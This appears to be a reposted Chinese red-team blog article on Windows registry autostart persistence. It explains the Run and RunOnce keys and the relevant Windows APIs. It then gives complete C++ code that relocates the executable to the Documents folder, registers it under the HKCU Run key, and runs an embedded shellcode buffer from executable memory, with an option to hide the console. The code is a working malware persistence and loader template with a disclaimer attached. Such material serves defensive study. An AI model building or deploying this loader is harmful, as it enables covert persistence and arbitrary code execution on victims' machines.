Windows安全攻防-注册表自启动

admin 2026-01-11 01:04:00 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档介绍了Windows注册表自启动项分类及原理,详细讲解了涉及文件路径获取与注册表操作的核心WindowsAPI。附带C++代码演示了如何通过移动文件至Documents目录并修改HKCU注册表Run项来实现持久化与自启动,包含Shellcode加载功能。 综合评分: 91 文章分类: 红队,内网渗透,安全开发


cover_image

Windows安全攻防-注册表自启动

原创

R0x7e

剑外思归客

2026年1月10日 05:35 江苏

启动项分类

用户级启动项-HKEY_CURRENT_USER

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run特定用户登录时,此路径下的程序会自动启动,只需当前用户权限即可修改(普通用户可操作自己账户下的此项)。HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce程序只会自动运行一次。运行后,该项通常会被系统自动删除(除非程序阻止删除)。常用于安装程序完成后的首次配置、清理任务或需要单次运行的工具。

系统级启动项-HKEY_LOCAL_MACHINE

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run任何用户登录时,此路径下的程序都会自动启动。通常用于系统级或全局性的服务和应用(如硬件监控工具、企业统一部署的客户端),需要管理员权限才能修改,影响计算机上的所有用户账户。HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce 同HKCU的RunOnce,但程序会在系统启动后、用户登录前运行一次(通常需要管理员权限)。运行后项被删除。常用于系统级别的安装后任务或修复, 需要管理员权限修改,影响整个系统。

相关windows API

GetModuleFileNameW

用于获取指定模块的完整路径文件名,在当前项目中用于获取当前程序的绝对路径

DWORD GetModuleFileNameW(
  [in, optional] HMODULE hModule,
  [out]          LPWSTR  lpFilename,
  [in]           DWORD   nSize
);
  • hModule  要获取路径的模块的句柄, 如果为 NULL,则返回调用进程的可执行文件路径
  • lpFilename  接收模块路径的缓冲区
  • nSize   指定缓冲区大小(以字符为单位),通常使用 MAX_PATH 常量(260个字符)返回值
  • 成功时: 返回复制到缓冲区中的字符串长度(以字符为单位)
  • 失败时: 返回0,可通过 GetLastError() 获取错误信息

SHGetKnownFolderPath

用于获取系统标准文件夹的完整路径,如获取当前用户的Documents目录,程序文件目录 (通常是 C:\Program Files),桌面目录等

HRESULT SHGetKnownFolderPath(
  REFKNOWNFOLDERID rfid,
  DWORD            dwFlags,
  HANDLE           hToken,
  PWSTR            *ppszPath
);

参数:

  • rfid 这是一个 GUID 引用,标识要获取的特定已知文件夹。Windows 定义了数百个标准文件夹的 GUID,例如:

  • FOLDERID_Documents – 当前用户的文档文件夹

  • FOLDERID_ProgramFiles – 程序文件目录 (通常是 C:\Program Files)、

  • FOLDERID_Desktop – 桌面目录

  • FOLDERID_Profile – 用户配置文件目录

  • 完整的已知文件夹 ID 列表可以在微软官方文档或 Shlobj.h 头文件中找到。

  • dwFlags 指定获取路径时的特殊选项标志

| 标志值 | 描述 | | — | — | | KF_FLAG_DEFAULT (0x00000000) | 默认行为 | | KF_FLAG_NO_APPCONTAINER_REDIRECTION (0x00010000) | 禁止应用容器重定向 | | KF_FLAG_CREATE (0x00008000) | 如果文件夹不存在则创建 | | KF_FLAG_DONT_VERIFY (0x00004000) | 不验证文件夹是否存在 | | KF_FLAG_DONT_UNEXPAND (0x00002000) | 返回环境变量不展开的路径 | | KF_FLAG_NO_ALIAS (0x00001000) | 不解析为别名路径 | | KF_FLAG_INIT (0x00000800) | 初始化文件夹 | | KF_FLAG_DEFAULT_PATH (0x00000400) | 获取默认路径而非当前路径 | | KF_FLAG_NOT_PARENT_RELATIVE (0x00000200) | 返回绝对路径而非相对于父文件夹 |

  • hToken 代表用户令牌的句柄,可用于为特定用户获取文件夹路径。通常传递 NULL 表示当前用户。
  • ppszPath 指向接收路径字符串指针的指针。调用成功后,必须使用 CoTaskMemFree 释放返回的内存。

返回值

  • S_OK: 成功获取路径
  • E_FAIL: 操作失败
  • E_INVALIDARG: 参数无效 其返回值可以用SUCCEEDED函数进行检测,执行成功SUCCEEDED函数会返回TRUE,失败返回FALSE

PathFindFileNameW

用于从完整文件路径中提取文件名的函数

LPCWSTR PathFindFileNameW(
  [in] LPCWSTR pszPath  //路径
);

返回值如果成功,则返回指向字符串地址的指针,否则返回指向路径开头的指针。

RegOpenKeyExW

打开指定的注册表项。 请注意,键名称不区分大小写。

LSTATUS RegOpenKeyExW(
  [in]           HKEY    hKey,
  [in, optional] LPCWSTR lpSubKey,
  [in]           DWORD   ulOptions,
  [in]           REGSAM  samDesired,
  [out]          PHKEY   phkResult
);

参数:

  • hKey :打开的注册表项的句柄。 此句柄由 RegCreateKeyEx 或 RegOpenKeyEx 函数返回,也可以是以下 预定义键之一:HKEY_CLASSES_ROOTHKEY_CURRENT_CONFIGHKEY_CURRENT_USERHKEY_LOCAL_MACHINEHKEY_USERS

  • lpSubKey:要打开的注册表子项的名称,键名称不区分大小写。

  • ulOptions :保留参数,必须设置为 0

  • samDesired :指定对要打开的键的访问权限。这是一个位掩码,可以使用 OR操作符组合以下常用标志:

  • KEY_QUERY_VALUE: 允许查询键的值。

  • KEY_SET_VALUE: 允许设置键的值(创建或修改)。

  • KEY_CREATE_SUB_KEY: 允许在键下创建子键。

  • KEY_ENUMERATE_SUB_KEYS: 允许枚举键的子键。

  • KEY_READ: 是 KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS | KEY_NOTIFY的组合(常用读取组合)。

  • KEY_WRITE: 是 KEY_SET_VALUE | KEY_CREATE_SUB_KEY的组合(常用写入组合)。

  • KEY_ALL_ACCESS: 提供对该键的完全控制(组合了所有可能的权限)。

  • phkResult : 指向一个 HKEY变量的指针。如果函数成功,该变量将接收打开的注册表项的句柄。返回值如果函数成功,返回值为 ERROR_SUCCESS(0),如果函数失败,返回值是一个非零的错误代码(定义在 Winerror.h中):

  • ERROR_FILE_NOT_FOUND: 指定的键不存在。

  • ERROR_ACCESS_DENIED: 调用进程没有足够的权限访问该键(通常是由于 samDesired权限不足或UAC限制)。

  • ERROR_INVALID_HANDLEhKey参数无效。

  • ERROR_BAD_PATHNAMElpSubKey路径无效。

RegSetValueExW

用于向注册表的特定键(Key) 下的一个值(Value) 写入数据的函数。后缀 W 表示这是该函数的宽字符(Unicode) 版本

LSTATUS RegSetValueExW(
  [in]           HKEY    hKey,        // 要操作的注册表项的句柄
  [in, optional] LPCWSTR lpValueName, // 要设置的值名称
  [reserved]     DWORD   Reserved,    // 保留参数,必须为0
  [in]           DWORD   dwType,      // 要存储的数据的类型
  [in]           const BYTE *lpData,  // 指向包含数据的缓冲区的指针
  [in]           DWORD   cbData       // 缓冲区数据的大小(以字节为单位)
);
  • hKey: 个已经打开的注册表项的句柄,或者一个预定义的根键句柄。

  • lpValueName: 要设置或创建的值名称的指针。如果该值不存在,函数会创建它,如果这个参数是 NULL 或空字符串 (""),函数会设置该键的默认值

  • Reserved :保留参数,必须设置为 0

  • dwType:指定要存储的数据的类型。这是一个 DWORD 类型的常量。

  • 常用类型

  • REG_SZ:一个以 null 结尾的 Unicode 字符串。这是最常用的类型。

  • REG_EXPAND_SZ:一个以 null 结尾的 Unicode 字符串,其中包含未扩展的环境变量(如 %USERPROFILE%)。

  • REG_DWORD:一个 32 位的数字。

  • REG_QWORD:一个 64 位的数字。

  • REG_BINARY:任意格式的二进制数据。

  • lpData:指向一个缓冲区的指针,该缓冲区包含了你要为指定值名称存储的数据。数据的格式必须与 dwType 参数指定的类型相匹配。

  • 示例

  • 如果 dwType 是 REG_SZ,这里应传入 const char* 或 const wchar_t*(需要强制转换)。

  • 如果 dwType 是 REG_DWORD,这里应传入 const DWORD*(即一个 DWORD 变量的地址)。

  • cbData:指定 lpData 参数所指向的数据的大小,单位是字节(Bytes)

  • 对于字符串(REG_SZREG_EXPAND_SZ:这个大小必须包括字符串结尾的 null 终止符(\0)。通常可以使用 (wcslen(your_string) + 1) * sizeof(WCHAR) 来计算。

  • 对于 REG_DWORD:大小总是 sizeof(DWORD)(即 4 字节)。

  • 对于 REG_QWORD:大小总是 sizeof(QWORD)(即 8 字节)。

  • 对于 REG_BINARY:就是二进制数据块的确切字节数。返回值

  • 成功:返回 ERROR_SUCCESS(值为 0)。

  • 失败:返回一个非零的错误代码(例如 ERROR_ACCESS_DENIED),可以通过 FormatMessage 函数获取错误的文本描述。

示例代码

#include&nbsp;<iostream>
#include&nbsp;<windows.h>
#include&nbsp;<shlobj.h>
#include&nbsp;<shlwapi.h>
#include&nbsp;<winbase.h>
#pragma&nbsp;comment(lib,&nbsp;"shlwapi.lib")

//隐藏窗口
//#pragma&nbsp;comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")

//实现目标:
// 将自身可执行文件移动到C:\Users\admin\Documents目录中
// 将自身添加进注册表的自启动项中,实现开机自启动
//加载shellcode,并执行

unsignedchar&nbsp;shellcode[] =&nbsp;"";
//将当前程序移动到C:\Users\admin\Documents目录,返回移动后的目录
std::wstring&nbsp;MoveFile()&nbsp;{
&nbsp; &nbsp;&nbsp;wchar_t&nbsp;path[MAX_PATH] = {&nbsp;0&nbsp;};
&nbsp; &nbsp; GetModuleFileNameW(NULL, path, MAX_PATH); &nbsp; &nbsp; &nbsp;//获取当前可执行文件的路径
&nbsp; &nbsp;&nbsp;wchar_t* fileName = PathFindFileNameW(path); &nbsp;&nbsp;//从路径中获取当前文件名

&nbsp; &nbsp; PWSTR DocumentsPath =&nbsp;nullptr;

&nbsp; &nbsp;&nbsp;// FOLDERID_Documents 表示当前用户的 Documents 文件夹
&nbsp; &nbsp;&nbsp;if&nbsp;(SUCCEEDED(SHGetKnownFolderPath(FOLDERID_Documents,&nbsp;0,&nbsp;nullptr, &DocumentsPath))) { &nbsp; &nbsp;//获取Documents目录
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;std::wstring&nbsp;docsPath(path);

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;std::wstring&nbsp;targetPath =&nbsp;std::wstring(DocumentsPath) +&nbsp;L"\\"&nbsp;+&nbsp;std::wstring(fileName); &nbsp; &nbsp;//目标路径

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;std::wcout <<&nbsp;"目标路径为: "&nbsp;<< targetPath <<&nbsp;std::endl; &nbsp; &nbsp;&nbsp;//此时输出拼接后的路径,作为调试信息

&nbsp; &nbsp; &nbsp; &nbsp; CoTaskMemFree(DocumentsPath);&nbsp;// 释放内存

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(!MoveFileExW(path, targetPath.c_str(), MOVEFILE_REPLACE_EXISTING)) { &nbsp;&nbsp;//移动成功返回非0
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;std::cout&nbsp;<<&nbsp;"移动文件失败: "&nbsp;<< GetLastError() <<&nbsp;std::endl;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnstd::wstring(path);
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;std::wcout <<&nbsp;"文件移动成功:"&nbsp;<< targetPath <<&nbsp;std::endl;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;targetPath;
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;else&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;std::cout&nbsp;<<&nbsp;"获取Documents目录失败: "&nbsp;<< GetLastError() <<&nbsp;std::endl;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnstd::wstring(path);

&nbsp; &nbsp; }

}

//将当前程序添加进注册表中
BOOL&nbsp;AddRegister(LPCWSTR lpszPath)&nbsp;{

&nbsp; &nbsp; HKEY hKey;
&nbsp; &nbsp; LONG result = RegOpenKeyExW(
&nbsp; &nbsp; &nbsp; &nbsp; HKEY_CURRENT_USER, &nbsp;&nbsp;//HKEY_CURRENT_USER用户级启动项,HKEY_LOCAL_MACHINE表示系统级
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", &nbsp;&nbsp;// 打开注册表 Run 键
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0, &nbsp; &nbsp; &nbsp;//保留参数,必须为0
&nbsp; &nbsp; &nbsp; &nbsp; KEY_SET_VALUE, &nbsp;&nbsp;//访问权限
&nbsp; &nbsp; &nbsp; &nbsp; &hKey &nbsp; &nbsp;&nbsp;//返回键的句柄
&nbsp; &nbsp; );

&nbsp; &nbsp;&nbsp;if&nbsp;(result != ERROR_SUCCESS) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;std::cerr&nbsp;<<&nbsp;"打开注册表项失败. Error code: "&nbsp;<< result <<&nbsp;std::endl;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return1;
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;// 设置程序名称为注册表项名称
&nbsp; &nbsp;&nbsp;std::wstring&nbsp;appName =&nbsp;L"MyAutoStartApp";

&nbsp; &nbsp;&nbsp;// 将程序路径写入注册表
&nbsp; &nbsp; result = RegSetValueExW(
&nbsp; &nbsp; &nbsp; &nbsp; hKey, &nbsp;&nbsp;//已打开的键的句柄
&nbsp; &nbsp; &nbsp; &nbsp; appName.c_str(), &nbsp; &nbsp;//值名称
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0, &nbsp; &nbsp;//必须为0
&nbsp; &nbsp; &nbsp; &nbsp; REG_SZ, &nbsp; &nbsp; &nbsp;//值类型,REG_SZ表示以NULL结尾的字符串
&nbsp; &nbsp; &nbsp; &nbsp; (const&nbsp;BYTE*)lpszPath, &nbsp; &nbsp;&nbsp;//数据缓冲区
&nbsp; &nbsp; &nbsp; &nbsp; (wcslen(lpszPath) +&nbsp;1) *&nbsp;sizeof(wchar_t)); &nbsp; &nbsp;//数据大小

&nbsp; &nbsp;&nbsp;if&nbsp;(result != ERROR_SUCCESS) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;std::cerr&nbsp;<<&nbsp;"设置注册表值失败. Error code: "&nbsp;<< result <<&nbsp;std::endl;
&nbsp; &nbsp; &nbsp; &nbsp; RegCloseKey(hKey);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return1;
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;std::cout&nbsp;<<&nbsp;"设置注册表键值对成功!当前程序已成功添加进开机自启动"&nbsp;<<&nbsp;std::endl;

&nbsp; &nbsp;&nbsp;// 关闭注册表键
&nbsp; &nbsp; RegCloseKey(hKey);
&nbsp; &nbsp;&nbsp;return0;
}

//加载shellcode
BOOL&nbsp;LoadCode()&nbsp;{
&nbsp; &nbsp; LPVOID Memory = VirtualAlloc(NULL,&nbsp;sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
&nbsp; &nbsp;&nbsp;memcpy(Memory, shellcode,&nbsp;sizeof(shellcode));
&nbsp; &nbsp; ((void(*)())Memory)();
&nbsp; &nbsp;&nbsp;return1;
}

int&nbsp;main()
{
&nbsp; &nbsp;&nbsp;std::cout&nbsp;<<&nbsp;"开始获取目录...."&nbsp;<<&nbsp;std::endl;
&nbsp; &nbsp;&nbsp;std::wstring&nbsp;filepath = MoveFile();
&nbsp; &nbsp;&nbsp;std::cout&nbsp;<<&nbsp;"开始添加注册表项...."&nbsp;<<&nbsp;std::endl;
&nbsp; &nbsp; AddRegister(filepath.c_str());
&nbsp; &nbsp;&nbsp;std::cout&nbsp;<<&nbsp;"正在执行shellcode....."&nbsp;<<&nbsp;std::endl;
&nbsp; &nbsp; LoadCode();
}

By: 《剑外思归客》公众号,R0x7e

免责声明 / Ethical & Legal Disclaimer

  • 本文内容仅面向网络安全教育、网络安全研究与防御加固目的,所有演示均应在明确书面授权自有资产范围内进行。
  • 任何将本文内容用于未授权测试、攻击、渗透、持久化、权限提升、数据访问或破坏行为的,均与作者无关,后果由行为人自行承担。
  • 本文不构成针对任何系统/组织的攻击指引或操作保证;读者应评估适用性与风险,确保测试过程不影响生产环境与第三方权益。
  • 如本文引用或展示的工具、样本、截图或配置涉及第三方内容,其版权与责任归原权利人所有。
  • 继续阅读/使用本文内容,视为你已理解并同意上述条款。

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:剑外思归客 R0x7e《Windows安全攻防-注册表自启动》

Linux常用运维脚本大全 网络安全文章

Linux常用运维脚本大全

文章总结: 文档提供了Linux运维常用Shell脚本合集,涵盖系统监控、日志分析、备份恢复、安全检测、性能调优、自动化部署及网络监控七大类。脚本包含CPU内存
评论:0   参与:  0